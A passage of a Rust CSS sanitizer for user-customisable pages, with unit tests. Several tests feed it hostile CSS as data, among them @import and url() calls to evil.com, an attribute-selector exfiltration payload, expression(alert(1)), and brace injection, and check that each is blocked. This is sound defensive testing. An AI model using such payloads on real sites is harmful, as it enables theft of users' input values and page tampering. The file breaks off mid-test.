| 1 |
|
| 2 |
|
| 3 |
|
| 4 |
|
| 5 |
|
| 6 |
|
| 7 |
|
| 8 |
|
| 9 |
|
| 10 |
|
| 11 |
|
| 12 |
|
| 13 |
|
| 14 |
|
| 15 |
|
| 16 |
|
| 17 |
|
| 18 |
|
| 19 |
|
| 20 |
|
| 21 |
|
| 22 |
|
| 23 |
|
| 24 |
|
| 25 |
|
| 26 |
use std::convert::Infallible; |
| 27 |
|
| 28 |
use lightningcss::declaration::DeclarationBlock; |
| 29 |
use lightningcss::properties::Property; |
| 30 |
use lightningcss::properties::custom::Function; |
| 31 |
use lightningcss::rules::{CssRule, CssRuleList}; |
| 32 |
use lightningcss::selector::{Component, Selector, SelectorList}; |
| 33 |
use lightningcss::stylesheet::{ParserFlags, ParserOptions, PrinterOptions, StyleSheet}; |
| 34 |
use lightningcss::targets::{Features, Targets}; |
| 35 |
use lightningcss::values::url::Url; |
| 36 |
use lightningcss::visit_types; |
| 37 |
use lightningcss::visitor::{Visit, VisitTypes, Visitor}; |
| 38 |
|
| 39 |
use super::url_filter::{UrlPolicy, resolve_internal_url}; |
| 40 |
use super::{MAX_RULES, MAX_SELECTORS, Rejection, RejectionKind}; |
| 41 |
|
| 42 |
|
| 43 |
|
| 44 |
pub fn sanitize_css(input: &str, scope_id: &str, policy: &UrlPolicy) -> (String, Vec<Rejection>) { |
| 45 |
scope_and_sanitize(input, "user-canvas", "uc", scope_id, policy) |
| 46 |
} |
| 47 |
|
| 48 |
|
| 49 |
|
| 50 |
|
| 51 |
pub fn sanitize_item_css( |
| 52 |
input: &str, |
| 53 |
project_id: &str, |
| 54 |
policy: &UrlPolicy, |
| 55 |
) -> (String, Vec<Rejection>) { |
| 56 |
scope_and_sanitize(input, "item-canvas", "ic", project_id, policy) |
| 57 |
} |
| 58 |
|
| 59 |
|
| 60 |
|
| 61 |
|
| 62 |
|
| 63 |
|
| 64 |
|
| 65 |
|
| 66 |
|
| 67 |
fn scope_and_sanitize( |
| 68 |
input: &str, |
| 69 |
canvas_class: &str, |
| 70 |
id_prefix: &str, |
| 71 |
scope_id: &str, |
| 72 |
policy: &UrlPolicy, |
| 73 |
) -> (String, Vec<Rejection>) { |
| 74 |
if input.trim().is_empty() { |
| 75 |
return (String::new(), Vec::new()); |
| 76 |
} |
| 77 |
|
| 78 |
if !is_id_safe(scope_id) { |
| 79 |
return ( |
| 80 |
String::new(), |
| 81 |
vec![Rejection { |
| 82 |
kind: RejectionKind::MalformedCss, |
| 83 |
location: "css".into(), |
| 84 |
original_value: scope_id.to_string(), |
| 85 |
reason: "internal: unsafe owner scope".into(), |
| 86 |
}], |
| 87 |
); |
| 88 |
} |
| 89 |
|
| 90 |
let Ok(mut stylesheet) = StyleSheet::parse(input, parser_options()) else { |
| 91 |
tracing::warn!( |
| 92 |
input_len = input.len(), |
| 93 |
"custom-page CSS rejected: unparseable" |
| 94 |
); |
| 95 |
return ( |
| 96 |
String::new(), |
| 97 |
vec![Rejection { |
| 98 |
kind: RejectionKind::MalformedCss, |
| 99 |
location: "css".into(), |
| 100 |
original_value: String::new(), |
| 101 |
reason: "CSS could not be parsed".into(), |
| 102 |
}], |
| 103 |
); |
| 104 |
}; |
| 105 |
|
| 106 |
let mut sanitizer = CssSanitizer { |
| 107 |
policy, |
| 108 |
rejections: Vec::new(), |
| 109 |
rule_count: 0, |
| 110 |
selector_count: 0, |
| 111 |
}; |
| 112 |
|
| 113 |
let _: Result<(), Infallible> = stylesheet.visit(&mut sanitizer); |
| 114 |
|
| 115 |
if sanitizer.rule_count > MAX_RULES || sanitizer.selector_count > MAX_SELECTORS { |
| 116 |
tracing::warn!( |
| 117 |
rule_count = sanitizer.rule_count, |
| 118 |
selector_count = sanitizer.selector_count, |
| 119 |
"custom-page CSS rejected: exceeds complexity limits (MAX_RULES={MAX_RULES}, MAX_SELECTORS={MAX_SELECTORS})" |
| 120 |
); |
| 121 |
return ( |
| 122 |
String::new(), |
| 123 |
vec![Rejection { |
| 124 |
kind: RejectionKind::ComplexityLimit, |
| 125 |
location: "css".into(), |
| 126 |
original_value: format!( |
| 127 |
"{} rules, {} selectors", |
| 128 |
sanitizer.rule_count, sanitizer.selector_count |
| 129 |
), |
| 130 |
reason: format!( |
| 131 |
"stylesheet too complex (limit {MAX_RULES} rules, {MAX_SELECTORS} selectors)" |
| 132 |
), |
| 133 |
}], |
| 134 |
); |
| 135 |
} |
| 136 |
|
| 137 |
let mut rejections = sanitizer.rejections; |
| 138 |
|
| 139 |
|
| 140 |
|
| 141 |
|
| 142 |
let rules = std::mem::take(&mut stylesheet.rules.0); |
| 143 |
let mut global = Vec::new(); |
| 144 |
let mut scopable = Vec::new(); |
| 145 |
for rule in rules { |
| 146 |
match rule { |
| 147 |
CssRule::Ignored => {} |
| 148 |
CssRule::Keyframes(_) |
| 149 |
| CssRule::FontFace(_) |
| 150 |
| CssRule::Page(_) |
| 151 |
| CssRule::LayerStatement(_) => global.push(rule), |
| 152 |
_ => scopable.push(rule), |
| 153 |
} |
| 154 |
} |
| 155 |
|
| 156 |
let scope_selector = format!(".{canvas_class}#{id_prefix}-{scope_id}"); |
| 157 |
|
| 158 |
let global_css = print_rules(global); |
| 159 |
let scopable_css = print_rules(scopable); |
| 160 |
|
| 161 |
|
| 162 |
|
| 163 |
let flat_scoped = if scopable_css.trim().is_empty() { |
| 164 |
String::new() |
| 165 |
} else { |
| 166 |
let wrapped = format!("{scope_selector} {{\n{scopable_css}\n}}"); |
| 167 |
match StyleSheet::parse(&wrapped, parser_options()) { |
| 168 |
Ok(sheet) => sheet |
| 169 |
.to_css(PrinterOptions { |
| 170 |
targets: Targets { |
| 171 |
browsers: None, |
| 172 |
include: Features::Nesting, |
| 173 |
exclude: Features::empty(), |
| 174 |
}, |
| 175 |
..Default::default() |
| 176 |
}) |
| 177 |
.map(|r| r.code) |
| 178 |
.unwrap_or_default(), |
| 179 |
Err(_) => { |
| 180 |
|
| 181 |
rejections.push(Rejection { |
| 182 |
kind: RejectionKind::MalformedCss, |
| 183 |
location: "css".into(), |
| 184 |
original_value: String::new(), |
| 185 |
reason: "internal: re-scope failed".into(), |
| 186 |
}); |
| 187 |
String::new() |
| 188 |
} |
| 189 |
} |
| 190 |
}; |
| 191 |
|
| 192 |
|
| 193 |
let reduced_motion = format!( |
| 194 |
"@media (prefers-reduced-motion: reduce){{{scope_selector},{scope_selector} *{{animation:none!important;transition:none!important}}}}" |
| 195 |
); |
| 196 |
|
| 197 |
let mut out = String::new(); |
| 198 |
if !global_css.trim().is_empty() { |
| 199 |
out.push_str(global_css.trim()); |
| 200 |
out.push('\n'); |
| 201 |
} |
| 202 |
if !flat_scoped.trim().is_empty() { |
| 203 |
out.push_str(flat_scoped.trim()); |
| 204 |
out.push('\n'); |
| 205 |
} |
| 206 |
out.push_str(&reduced_motion); |
| 207 |
|
| 208 |
(escape_lt_for_style_element(&out), rejections) |
| 209 |
} |
| 210 |
|
| 211 |
|
| 212 |
|
| 213 |
|
| 214 |
|
| 215 |
|
| 216 |
|
| 217 |
|
| 218 |
|
| 219 |
|
| 220 |
|
| 221 |
|
| 222 |
fn escape_lt_for_style_element(css: &str) -> String { |
| 223 |
if !css.contains('<') { |
| 224 |
return css.to_string(); |
| 225 |
} |
| 226 |
css.replace('<', "\\3c ") |
| 227 |
} |
| 228 |
|
| 229 |
fn parser_options<'o, 'i>() -> ParserOptions<'o, 'i> { |
| 230 |
ParserOptions { |
| 231 |
|
| 232 |
flags: ParserFlags::NESTING, |
| 233 |
|
| 234 |
error_recovery: true, |
| 235 |
..Default::default() |
| 236 |
} |
| 237 |
} |
| 238 |
|
| 239 |
|
| 240 |
fn print_rules(rules: Vec<CssRule<'_>>) -> String { |
| 241 |
if rules.is_empty() { |
| 242 |
return String::new(); |
| 243 |
} |
| 244 |
let sheet = StyleSheet::new(Vec::new(), CssRuleList(rules), ParserOptions::default()); |
| 245 |
sheet |
| 246 |
.to_css(PrinterOptions::default()) |
| 247 |
.map(|r| r.code) |
| 248 |
.unwrap_or_default() |
| 249 |
} |
| 250 |
|
| 251 |
|
| 252 |
fn is_id_safe(s: &str) -> bool { |
| 253 |
!s.is_empty() && s.bytes().all(|b| b.is_ascii_alphanumeric() || b == b'-') |
| 254 |
} |
| 255 |
|
| 256 |
|
| 257 |
struct CssSanitizer<'p> { |
| 258 |
policy: &'p UrlPolicy, |
| 259 |
rejections: Vec<Rejection>, |
| 260 |
rule_count: usize, |
| 261 |
selector_count: usize, |
| 262 |
} |
| 263 |
|
| 264 |
impl<'i> Visitor<'i> for CssSanitizer<'_> { |
| 265 |
type Error = Infallible; |
| 266 |
|
| 267 |
fn visit_types(&self) -> VisitTypes { |
| 268 |
visit_types!(RULES | URLS | FUNCTIONS) |
| 269 |
} |
| 270 |
|
| 271 |
fn visit_rule(&mut self, rule: &mut CssRule<'i>) -> Result<(), Self::Error> { |
| 272 |
self.rule_count += 1; |
| 273 |
|
| 274 |
|
| 275 |
|
| 276 |
|
| 277 |
let blocked_name: Option<&str> = match rule { |
| 278 |
CssRule::Import(_) => Some("@import"), |
| 279 |
CssRule::Namespace(_) => Some("@namespace"), |
| 280 |
CssRule::MozDocument(_) => Some("@-moz-document"), |
| 281 |
CssRule::CustomMedia(_) => Some("@custom-media"), |
| 282 |
CssRule::Property(_) => Some("@property"), |
| 283 |
CssRule::Viewport(_) => Some("@viewport"), |
| 284 |
CssRule::CounterStyle(_) => Some("@counter-style"), |
| 285 |
CssRule::FontPaletteValues(_) => Some("@font-palette-values"), |
| 286 |
CssRule::FontFeatureValues(_) => Some("@font-feature-values"), |
| 287 |
CssRule::Container(_) => Some("@container"), |
| 288 |
CssRule::Scope(_) => Some("@scope"), |
| 289 |
CssRule::StartingStyle(_) => Some("@starting-style"), |
| 290 |
CssRule::ViewTransition(_) => Some("@view-transition"), |
| 291 |
CssRule::Unknown(_) => Some("unknown at-rule"), |
| 292 |
|
| 293 |
|
| 294 |
|
| 295 |
|
| 296 |
|
| 297 |
|
| 298 |
CssRule::Media(_) |
| 299 |
| CssRule::Style(_) |
| 300 |
| CssRule::Keyframes(_) |
| 301 |
| CssRule::FontFace(_) |
| 302 |
| CssRule::Page(_) |
| 303 |
| CssRule::Supports(_) |
| 304 |
| CssRule::Nesting(_) |
| 305 |
| CssRule::NestedDeclarations(_) |
| 306 |
| CssRule::LayerStatement(_) |
| 307 |
| CssRule::LayerBlock(_) |
| 308 |
| CssRule::Ignored |
| 309 |
| CssRule::Custom(_) => None, |
| 310 |
}; |
| 311 |
|
| 312 |
if let Some(name) = blocked_name { |
| 313 |
self.rejections.push(Rejection { |
| 314 |
kind: RejectionKind::BlockedAtRule, |
| 315 |
location: name.to_string(), |
| 316 |
original_value: name.to_string(), |
| 317 |
reason: format!("{name} is not allowed in custom pages"), |
| 318 |
}); |
| 319 |
*rule = CssRule::Ignored; |
| 320 |
return Ok(()); |
| 321 |
} |
| 322 |
|
| 323 |
|
| 324 |
if let CssRule::Style(style) = rule { |
| 325 |
self.selector_count += style.selectors.0.len(); |
| 326 |
if selectors_target_system_slot(&style.selectors) { |
| 327 |
strip_hiding_properties(&mut style.declarations, &mut self.rejections); |
| 328 |
} |
| 329 |
enforce_animation_budget(&mut style.declarations, &mut self.rejections); |
| 330 |
} |
| 331 |
|
| 332 |
|
| 333 |
rule.visit_children(self) |
| 334 |
} |
| 335 |
|
| 336 |
fn visit_url(&mut self, url: &mut Url<'i>) -> Result<(), Self::Error> { |
| 337 |
if let Err(rejection) = resolve_internal_url(&url.url, self.policy, "css url()") { |
| 338 |
self.rejections.push(rejection); |
| 339 |
|
| 340 |
|
| 341 |
url.url = "".into(); |
| 342 |
} |
| 343 |
Ok(()) |
| 344 |
} |
| 345 |
|
| 346 |
fn visit_function(&mut self, function: &mut Function<'i>) -> Result<(), Self::Error> { |
| 347 |
|
| 348 |
|
| 349 |
|
| 350 |
|
| 351 |
|
| 352 |
if function.name.as_ref().eq_ignore_ascii_case("expression") { |
| 353 |
self.rejections.push(Rejection { |
| 354 |
kind: RejectionKind::BlockedFunction, |
| 355 |
location: "css".into(), |
| 356 |
original_value: "expression()".into(), |
| 357 |
reason: "the expression() function is not allowed".into(), |
| 358 |
}); |
| 359 |
function.arguments.0.clear(); |
| 360 |
function.name = lightningcss::values::ident::Ident("mnw-blocked".into()); |
| 361 |
return Ok(()); |
| 362 |
} |
| 363 |
function.visit_children(self) |
| 364 |
} |
| 365 |
} |
| 366 |
|
| 367 |
|
| 368 |
|
| 369 |
fn selectors_target_system_slot(list: &SelectorList) -> bool { |
| 370 |
list.0.iter().any(selector_has_system_class) |
| 371 |
} |
| 372 |
|
| 373 |
fn selector_has_system_class(selector: &Selector) -> bool { |
| 374 |
selector |
| 375 |
.iter_raw_match_order() |
| 376 |
.any(component_has_system_class) |
| 377 |
} |
| 378 |
|
| 379 |
fn component_has_system_class(component: &Component) -> bool { |
| 380 |
match component { |
| 381 |
Component::Class(ident) => ident.0.starts_with("mnw-"), |
| 382 |
Component::Is(list) |
| 383 |
| Component::Where(list) |
| 384 |
| Component::Negation(list) |
| 385 |
| Component::Has(list) => list.iter().any(selector_has_system_class), |
| 386 |
Component::Any(_, list) => list.iter().any(selector_has_system_class), |
| 387 |
Component::Host(Some(inner)) => selector_has_system_class(inner), |
| 388 |
_ => false, |
| 389 |
} |
| 390 |
} |
| 391 |
|
| 392 |
|
| 393 |
|
| 394 |
fn strip_hiding_properties(decls: &mut DeclarationBlock, rejections: &mut Vec<Rejection>) { |
| 395 |
for list in [&mut decls.declarations, &mut decls.important_declarations] { |
| 396 |
list.retain(|prop| { |
| 397 |
if is_hiding_property(prop) { |
| 398 |
rejections.push(Rejection { |
| 399 |
kind: RejectionKind::HidingProperty, |
| 400 |
location: ".mnw-* rule".into(), |
| 401 |
original_value: prop_string(prop), |
| 402 |
reason: "system slots (.mnw-*) cannot be hidden".into(), |
| 403 |
}); |
| 404 |
false |
| 405 |
} else { |
| 406 |
true |
| 407 |
} |
| 408 |
}); |
| 409 |
} |
| 410 |
} |
| 411 |
|
| 412 |
|
| 413 |
|
| 414 |
fn is_hiding_property(prop: &Property) -> bool { |
| 415 |
let norm = normalize(&prop_string(prop)); |
| 416 |
if let Some(rest) = norm.strip_prefix("opacity:") { |
| 417 |
return rest.parse::<f32>().is_ok_and(|v| v < 0.1); |
| 418 |
} |
| 419 |
matches!( |
| 420 |
norm.as_str(), |
| 421 |
"display:none" |
| 422 |
| "visibility:hidden" |
| 423 |
| "visibility:collapse" |
| 424 |
| "pointer-events:none" |
| 425 |
| "width:0" |
| 426 |
| "width:0px" |
| 427 |
| "height:0" |
| 428 |
| "height:0px" |
| 429 |
|
| 430 |
| "max-width:0" |
| 431 |
| "max-width:0px" |
| 432 |
| "max-height:0" |
| 433 |
| "max-height:0px" |
| 434 |
| "font-size:0" |
| 435 |
| "font-size:0px" |
| 436 |
|
| 437 |
| "clip:rect(0,0,0,0)" |
| 438 |
| "clip:rect(0px,0px,0px,0px)" |
| 439 |
) || (norm.starts_with("transform:") && norm.contains("scale(0)")) |
| 440 |
|
| 441 |
|| (norm.starts_with("clip-path:") |
| 442 |
&& (norm.contains("inset(100%") || norm.contains("circle(0"))) |
| 443 |
|
| 444 |
|| is_offscreen_text_indent(&norm) |
| 445 |
} |
| 446 |
|
| 447 |
|
| 448 |
|
| 449 |
fn is_offscreen_text_indent(norm: &str) -> bool { |
| 450 |
norm.strip_prefix("text-indent:") |
| 451 |
.map(|rest| rest.strip_suffix("px").unwrap_or(rest)) |
| 452 |
.and_then(|n| n.parse::<f32>().ok()) |
| 453 |
.is_some_and(|v| v <= -1000.0) |
| 454 |
} |
| 455 |
|
| 456 |
|
| 457 |
|
| 458 |
|
| 459 |
fn enforce_animation_budget(decls: &mut DeclarationBlock, rejections: &mut Vec<Rejection>) { |
| 460 |
|
| 461 |
|
| 462 |
const STROBE_MAX_ITERATIONS: f32 = 20.0; |
| 463 |
|
| 464 |
let mut has_infinite = false; |
| 465 |
let mut min_duration: Option<f32> = None; |
| 466 |
let mut max_iterations: Option<f32> = None; |
| 467 |
|
| 468 |
for list in [&decls.declarations, &decls.important_declarations] { |
| 469 |
for prop in list { |
| 470 |
|
| 471 |
|
| 472 |
let raw = prop_string(prop).to_ascii_lowercase(); |
| 473 |
if raw.contains("infinite") { |
| 474 |
has_infinite = true; |
| 475 |
} |
| 476 |
if let Some(rest) = raw.strip_prefix("animation-duration:") { |
| 477 |
update_min_duration(rest, &mut min_duration); |
| 478 |
} else if let Some(rest) = raw.strip_prefix("animation-iteration-count:") { |
| 479 |
update_max_iterations(rest, &mut max_iterations); |
| 480 |
} else if let Some(rest) = raw.strip_prefix("animation:") { |
| 481 |
update_min_duration(rest, &mut min_duration); |
| 482 |
update_max_iterations(rest, &mut max_iterations); |
| 483 |
} |
| 484 |
} |
| 485 |
} |
| 486 |
|
| 487 |
let fast = min_duration.is_some_and(|d| d < 2.0); |
| 488 |
let high_count = max_iterations.is_some_and(|n| n >= STROBE_MAX_ITERATIONS); |
| 489 |
let strobe = (has_infinite || high_count) && fast; |
| 490 |
if !strobe { |
| 491 |
return; |
| 492 |
} |
| 493 |
|
| 494 |
let mut dropped = false; |
| 495 |
for list in [&mut decls.declarations, &mut decls.important_declarations] { |
| 496 |
list.retain(|prop| { |
| 497 |
let norm = normalize(&prop_string(prop)); |
| 498 |
if norm.starts_with("animation") { |
| 499 |
dropped = true; |
| 500 |
false |
| 501 |
} else { |
| 502 |
true |
| 503 |
} |
| 504 |
}); |
| 505 |
} |
| 506 |
if dropped { |
| 507 |
rejections.push(Rejection { |
| 508 |
kind: RejectionKind::AnimationBudget, |
| 509 |
location: "animation".into(), |
| 510 |
original_value: "infinite animation under 2s".into(), |
| 511 |
reason: "fast infinite animations are not allowed (strobe guard)".into(), |
| 512 |
}); |
| 513 |
} |
| 514 |
} |
| 515 |
|
| 516 |
fn update_min_duration(value: &str, min: &mut Option<f32>) { |
| 517 |
for token in value.split([' ', ',']) { |
| 518 |
if let Some(secs) = parse_seconds(token) { |
| 519 |
*min = Some(min.map_or(secs, |m| m.min(secs))); |
| 520 |
} |
| 521 |
} |
| 522 |
} |
| 523 |
|
| 524 |
|
| 525 |
|
| 526 |
|
| 527 |
|
| 528 |
fn update_max_iterations(value: &str, max: &mut Option<f32>) { |
| 529 |
for token in value.split([' ', ',']) { |
| 530 |
let token = token.trim(); |
| 531 |
if token.is_empty() || token.ends_with('s') || token.ends_with('%') { |
| 532 |
continue; |
| 533 |
} |
| 534 |
if let Ok(n) = token.parse::<f32>() { |
| 535 |
*max = Some(max.map_or(n, |m| m.max(n))); |
| 536 |
} |
| 537 |
} |
| 538 |
} |
| 539 |
|
| 540 |
|
| 541 |
fn parse_seconds(token: &str) -> Option<f32> { |
| 542 |
let t = token.trim(); |
| 543 |
if let Some(ms) = t.strip_suffix("ms") { |
| 544 |
ms.parse::<f32>().ok().map(|v| v / 1000.0) |
| 545 |
} else if let Some(s) = t.strip_suffix('s') { |
| 546 |
s.parse::<f32>().ok() |
| 547 |
} else { |
| 548 |
None |
| 549 |
} |
| 550 |
} |
| 551 |
|
| 552 |
fn prop_string(prop: &Property) -> String { |
| 553 |
prop.to_css_string(false, PrinterOptions::default()) |
| 554 |
.unwrap_or_default() |
| 555 |
} |
| 556 |
|
| 557 |
|
| 558 |
fn normalize(s: &str) -> String { |
| 559 |
s.chars() |
| 560 |
.filter(|c| !c.is_whitespace()) |
| 561 |
.collect::<String>() |
| 562 |
.to_ascii_lowercase() |
| 563 |
} |
| 564 |
|
| 565 |
#[cfg(test)] |
| 566 |
mod tests { |
| 567 |
use super::*; |
| 568 |
|
| 569 |
const SCOPE: &str = "11111111-1111-1111-1111-111111111111"; |
| 570 |
|
| 571 |
fn policy() -> UrlPolicy { |
| 572 |
UrlPolicy::new( |
| 573 |
"https://u.makenot.work/alice/proj", |
| 574 |
[ |
| 575 |
"makenot.work".to_string(), |
| 576 |
"u.makenot.work".to_string(), |
| 577 |
"cdn.makenot.work".to_string(), |
| 578 |
], |
| 579 |
) |
| 580 |
.unwrap() |
| 581 |
} |
| 582 |
|
| 583 |
fn san(css: &str) -> (String, Vec<Rejection>) { |
| 584 |
sanitize_css(css, SCOPE, &policy()) |
| 585 |
} |
| 586 |
|
| 587 |
fn scoped(css: &str) -> String { |
| 588 |
san(css).0 |
| 589 |
} |
| 590 |
|
| 591 |
#[test] |
| 592 |
fn empty_input_is_empty() { |
| 593 |
assert_eq!(san("").0, ""); |
| 594 |
assert_eq!(san(" ").0, ""); |
| 595 |
} |
| 596 |
|
| 597 |
#[test] |
| 598 |
fn scopes_plain_selectors() { |
| 599 |
let out = scoped("p { color: red }"); |
| 600 |
assert!(out.contains(".user-canvas#uc-11111111-1111-1111-1111-111111111111 p")); |
| 601 |
} |
| 602 |
|
| 603 |
#[test] |
| 604 |
fn neutralizes_body_and_root_escape() { |
| 605 |
let out = scoped("body { background: blue } :root { color: green }"); |
| 606 |
|
| 607 |
assert!(out.contains(".user-canvas#uc-11111111-1111-1111-1111-111111111111 body")); |
| 608 |
assert!(!out.contains("\nbody")); |
| 609 |
assert!(!out.starts_with("body")); |
| 610 |
} |
| 611 |
|
| 612 |
#[test] |
| 613 |
fn rejects_import() { |
| 614 |
let (out, rej) = san("@import url(https://evil.com/x.css); p { color: red }"); |
| 615 |
assert!(!out.contains("@import")); |
| 616 |
assert!(!out.contains("evil.com")); |
| 617 |
assert!(rej.iter().any(|r| r.kind == RejectionKind::BlockedAtRule)); |
| 618 |
assert!(out.contains("color")); |
| 619 |
} |
| 620 |
|
| 621 |
#[test] |
| 622 |
fn rejects_namespace_and_moz_document() { |
| 623 |
let (out, rej) = |
| 624 |
san("@namespace url(http://x); @-moz-document url-prefix() { p {color:red} }"); |
| 625 |
assert!(!out.to_lowercase().contains("namespace")); |
| 626 |
assert!(!out.to_lowercase().contains("moz-document")); |
| 627 |
assert!( |
| 628 |
rej.iter() |
| 629 |
.filter(|r| r.kind == RejectionKind::BlockedAtRule) |
| 630 |
.count() |
| 631 |
>= 2 |
| 632 |
); |
| 633 |
} |
| 634 |
|
| 635 |
#[test] |
| 636 |
fn allows_media_and_keyframes_and_fontface() { |
| 637 |
let out = scoped( |
| 638 |
"@media (min-width: 600px) { .wide { color: red } } \ |
| 639 |
@keyframes spin { from {opacity:0} to {opacity:1} }", |
| 640 |
); |
| 641 |
assert!(out.contains("@media")); |
| 642 |
assert!(out.contains("@keyframes")); |
| 643 |
|
| 644 |
assert!(out.contains(".user-canvas#uc-11111111-1111-1111-1111-111111111111 .wide")); |
| 645 |
|
| 646 |
assert!(out.contains("@keyframes spin")); |
| 647 |
} |
| 648 |
|
| 649 |
#[test] |
| 650 |
fn external_url_in_background_is_neutralized() { |
| 651 |
let (out, rej) = san(".x { background: url(https://evil.com/y.png) }"); |
| 652 |
assert!(!out.contains("evil.com")); |
| 653 |
assert!(rej.iter().any(|r| r.kind == RejectionKind::ExternalUrl)); |
| 654 |
} |
| 655 |
|
| 656 |
#[test] |
| 657 |
fn internal_and_relative_urls_kept() { |
| 658 |
let out = scoped( |
| 659 |
".a{background:url(/static/p.png)} .b{background:url(https://cdn.makenot.work/x)}", |
| 660 |
); |
| 661 |
assert!(out.contains("/static/p.png")); |
| 662 |
assert!(out.contains("cdn.makenot.work/x")); |
| 663 |
} |
| 664 |
|
| 665 |
#[test] |
| 666 |
fn attribute_selector_exfiltration_blocked() { |
| 667 |
|
| 668 |
let (out, _) = san("input[value^=\"a\"] { background: url(//evil.com/a) }"); |
| 669 |
assert!(!out.contains("evil.com")); |
| 670 |
} |
| 671 |
|
| 672 |
#[test] |
| 673 |
fn mnw_hiding_properties_stripped() { |
| 674 |
let (out, rej) = san(".mnw-buy { display: none; color: red }"); |
| 675 |
assert!(!normalize(&out).contains("display:none")); |
| 676 |
assert!(out.contains("color")); |
| 677 |
assert!(rej.iter().any(|r| r.kind == RejectionKind::HidingProperty)); |
| 678 |
} |
| 679 |
|
| 680 |
#[test] |
| 681 |
fn mnw_hiding_via_has_stripped() { |
| 682 |
let (_out, rej) = san("*:has(.mnw-files) { opacity: 0 }"); |
| 683 |
assert!(rej.iter().any(|r| r.kind == RejectionKind::HidingProperty)); |
| 684 |
} |
| 685 |
|
| 686 |
#[test] |
| 687 |
fn non_mnw_hiding_is_allowed() { |
| 688 |
let (out, rej) = san(".myclass { display: none }"); |
| 689 |
assert!(normalize(&out).contains("display:none")); |
| 690 |
assert!(!rej.iter().any(|r| r.kind == RejectionKind::HidingProperty)); |
| 691 |
} |
| 692 |
|
| 693 |
#[test] |
| 694 |
fn mnw_widened_hiding_properties_stripped() { |
| 695 |
|
| 696 |
for decl in [ |
| 697 |
"clip-path: inset(100%)", |
| 698 |
"font-size: 0", |
| 699 |
"text-indent: -9999px", |
| 700 |
"max-height: 0", |
| 701 |
"clip: rect(0, 0, 0, 0)", |
| 702 |
] { |
| 703 |
let (_out, rej) = san(&format!(".mnw-buy {{ {decl} }}")); |
| 704 |
assert!( |
| 705 |
rej.iter().any(|r| r.kind == RejectionKind::HidingProperty), |
| 706 |
"expected {decl} to be treated as hiding" |
| 707 |
); |
| 708 |
} |
| 709 |
} |
| 710 |
|
| 711 |
#[test] |
| 712 |
fn reduced_motion_appended() { |
| 713 |
let out = scoped("p { color: red }"); |
| 714 |
assert!(out.contains("prefers-reduced-motion")); |
| 715 |
assert!(out.trim_end().ends_with('}')); |
| 716 |
} |
| 717 |
|
| 718 |
#[test] |
| 719 |
fn fast_infinite_animation_dropped() { |
| 720 |
let (out, rej) = san(".spin { animation: spin 1s infinite }"); |
| 721 |
assert!(!normalize(&out).contains("animation:spin")); |
| 722 |
assert!(rej.iter().any(|r| r.kind == RejectionKind::AnimationBudget)); |
| 723 |
} |
| 724 |
|
| 725 |
#[test] |
| 726 |
fn slow_infinite_animation_kept() { |
| 727 |
let (out, rej) = san(".spin { animation: spin 3s infinite }"); |
| 728 |
assert!(out.to_lowercase().contains("animation")); |
| 729 |
assert!(!rej.iter().any(|r| r.kind == RejectionKind::AnimationBudget)); |
| 730 |
} |
| 731 |
|
| 732 |
#[test] |
| 733 |
fn fast_high_finite_count_animation_dropped() { |
| 734 |
|
| 735 |
|
| 736 |
let (out, rej) = san(".spin { animation: spin 1s linear 100 }"); |
| 737 |
assert!(!normalize(&out).contains("animation:spin")); |
| 738 |
assert!(rej.iter().any(|r| r.kind == RejectionKind::AnimationBudget)); |
| 739 |
|
| 740 |
|
| 741 |
let (_out2, rej2) = san( |
| 742 |
".spin { animation-name: spin; animation-duration: 0.5s; animation-iteration-count: 50 }", |
| 743 |
); |
| 744 |
assert!( |
| 745 |
rej2.iter() |
| 746 |
.any(|r| r.kind == RejectionKind::AnimationBudget) |
| 747 |
); |
| 748 |
} |
| 749 |
|
| 750 |
#[test] |
| 751 |
fn fast_low_finite_count_animation_kept() { |
| 752 |
|
| 753 |
let (out, rej) = san(".spin { animation: spin 1s linear 3 }"); |
| 754 |
assert!(out.to_lowercase().contains("animation")); |
| 755 |
assert!(!rej.iter().any(|r| r.kind == RejectionKind::AnimationBudget)); |
| 756 |
} |
| 757 |
|
| 758 |
#[test] |
| 759 |
fn expression_function_recorded() { |
| 760 |
let (out, rej) = san(".x { width: expression(alert(1)) }"); |
| 761 |
assert!(rej.iter().any(|r| r.kind == RejectionKind::BlockedFunction)); |
| 762 |
|
| 763 |
|
| 764 |
let lower = out.to_ascii_lowercase(); |
| 765 |
assert!( |
| 766 |
!lower.contains("expression("), |
| 767 |
"expression() must be neutralized in output: {out}" |
| 768 |
); |
| 769 |
assert!( |
| 770 |
!lower.contains("alert(1)"), |
| 771 |
"expression() payload must be stripped: {out}" |
| 772 |
); |
| 773 |
} |
| 774 |
|
| 775 |
#[test] |
| 776 |
fn brace_injection_cannot_escape_scope() { |
| 777 |
|
| 778 |
|
| 779 |
let out = scoped("color: red } body { background: red"); |
| 780 |
assert!(!out.contains("\nbody {")); |
| 781 |
assert!(!out.contains("} body{")); |
| 782 |
} |
| 783 |
|
| 784 |
#[test] |
| 785 |
fn idempotent_on_sanitized_output() { |
| 786 |
let once = |
| 787 |
scoped("p{color:red} .mnw-buy{display:none} .x{background:url(https://evil.com/y)}"); |
| 788 |
let twice = scoped(&once); |
| 789 |
|
| 790 |
|
| 791 |
assert!(!twice.contains("evil.com")); |
| 792 |
assert!(twice.contains("prefers-reduced-motion")); |
| 793 |
} |
| 794 |
|
| 795 |
#[test] |
| 796 |
fn unsafe_scope_refused() { |
| 797 |
let (out, rej) = sanitize_css("p{color:red}", "evil}injection", &policy()); |
| 798 |
assert_eq!(out, ""); |
| 799 |
assert_eq!(rej.len(), 1); |
| 800 |
assert_eq!(rej[0].kind, RejectionKind::MalformedCss); |
| 801 |
} |
| 802 |
|
| 803 |
|
| 804 |
|
| 805 |
fn minify(css: &str) -> String { |
| 806 |
StyleSheet::parse(css, parser_options()) |
| 807 |
.unwrap() |
| 808 |
.to_css(PrinterOptions { |
| 809 |
minify: true, |
| 810 |
..Default::default() |
| 811 |
}) |
| 812 |
.unwrap() |
| 813 |
.code |
| 814 |
} |
| 815 |
|
| 816 |
#[test] |
| 817 |
fn universal_and_not_selectors_are_scoped() { |
| 818 |
|
| 819 |
|
| 820 |
for css in [ |
| 821 |
"* { color: red }", |
| 822 |
":not(.x) { color: red }", |
| 823 |
"html, body { color: red }", |
| 824 |
":root { color: red }", |
| 825 |
] { |
| 826 |
let out = minify(&scoped(css)); |
| 827 |
for bad in ["}*{", "}body{", "}html{", "}:root{"] { |
| 828 |
assert!(!out.contains(bad), "unscoped `{bad}` in: {out}"); |
| 829 |
} |
| 830 |
